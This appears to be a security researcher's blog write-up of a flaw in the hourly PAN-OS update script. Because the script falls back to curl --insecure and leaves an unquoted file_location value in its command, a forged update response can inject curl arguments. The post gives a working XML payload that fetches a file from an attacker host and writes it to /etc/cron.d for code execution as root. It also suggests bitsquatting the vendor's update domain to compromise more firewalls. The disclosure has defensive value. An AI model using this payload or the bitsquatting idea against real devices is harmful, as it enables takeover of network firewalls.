every hour, a cron job on pan-os runs the /usr/local/bin/pan-gpdatafile-updater script. this is a shell script which checks for updates to some data files used by the system.
at a high level, the script will:
- check if there is an update available from the server.
- if there are no updates available, don't do anything
- if there are updates available, use the URL returned by the update check endpoint to fetch the update.
When checking for updates and when fetching updates from the server, PAN-OS seems to use --insecure by default.
APIKEY=`python /sbin/get_user_key_cryptod.py curl_api_key`
#---snip---
#check for API-KEY
if [ "$APIKEY" = "" ]
then
apikeyparam='&apiKey='
secure='--insecure'
else
apikeyparam='&apiKey='$APIKEY
if [ "$UPDATE_SERVER_CHECK" == "True" ]
then
secure='--capath '$capath
else
echo "API Key is set and verify update server identity is not enabled" >> $AV_LOG_FILE
Exit -1
fi
fi
When $APIKEY is empty, --insecure is used.
$ python /sbin/get_user_key_cryptod.py curl_api_key
$
On my system, this value is always empty.
Because of this an attacker who can intercept network traffic can modify responses.
The initial update check is
DATACENTER_ANSWER=`curl --digest --connect-timeout 60 --retry 3 --tlsv1.2 $secure -o - $option_interface --config $curlrcfile --data '@/tmp/.av_data_file.tmp' https://$UPDATE_SERVER/updatessvc/updateservice.asmx/CheckForGPUpdate`
After this, the script looks for the url of the new update file, if it exists
FILE_LOCATION=`echo $DATACENTER_ANSWER | egrep -o '<file_location>.*</file_location>' | /bin/sed 's/<file_location>//' | /bin/sed 's/<\/file_location>//'`
if [ $FILE_LOCATION ]; then
echo "$(date) : file location $FILE_LOCATION" >> $AV_LOG_FILE
else
echo "$(date) : Cannot find file location" >> $AV_LOG_FILE
Exit -1
fi
There are also similar checks for <result>, <file_version>, and <encryption_key> fields in the response.
after these checks, the new file is fetched from $FILE_LOCATION:
HEADERS=`curl -vv --digest --connect-timeout 60 --retry 3 --tlsv1.2 $secure $option_interface --config $curlrcfile -o $ENCRYPTED_FILE $FILE_LOCATION 2>&1`
By manipulating $FILE_LOCATION, we can inject arbitrary arguments in the curl command. The only restriction is that $FILE_LOCATION must expand to a valid expression in the above `if [ $FILE_LOCATION ]` check. luckily, -a is ignored by curl for GET requests, and it can be used to get arbitrary parameters past the if check.
my final payload downloads a file from an attacker-controlled server and writes it to cron.d:
<result>New version found.</result>
<file_version>1337</file_version>
<file_location>file:///etc/passwd -a -:a -a -ak -a https:///<attacker_host>/payload -o /etc/cron.d/payload</file_location>
<encryption_key>owowhatsthis</encryption_key>
although you could also use the --log-script flag that i described here so you don't need to host your payload elsewhere.
as a simple poc, you can host this file on any https site at `/updatessvc/updateservice.asmx/CheckForGPUpdate` and set your firewalls update server to this. or if you want to own a few more firewalls, you can bitsquat the default server, updates.paloaltonetworks.com, and see what traffic comes your way.
kthxbai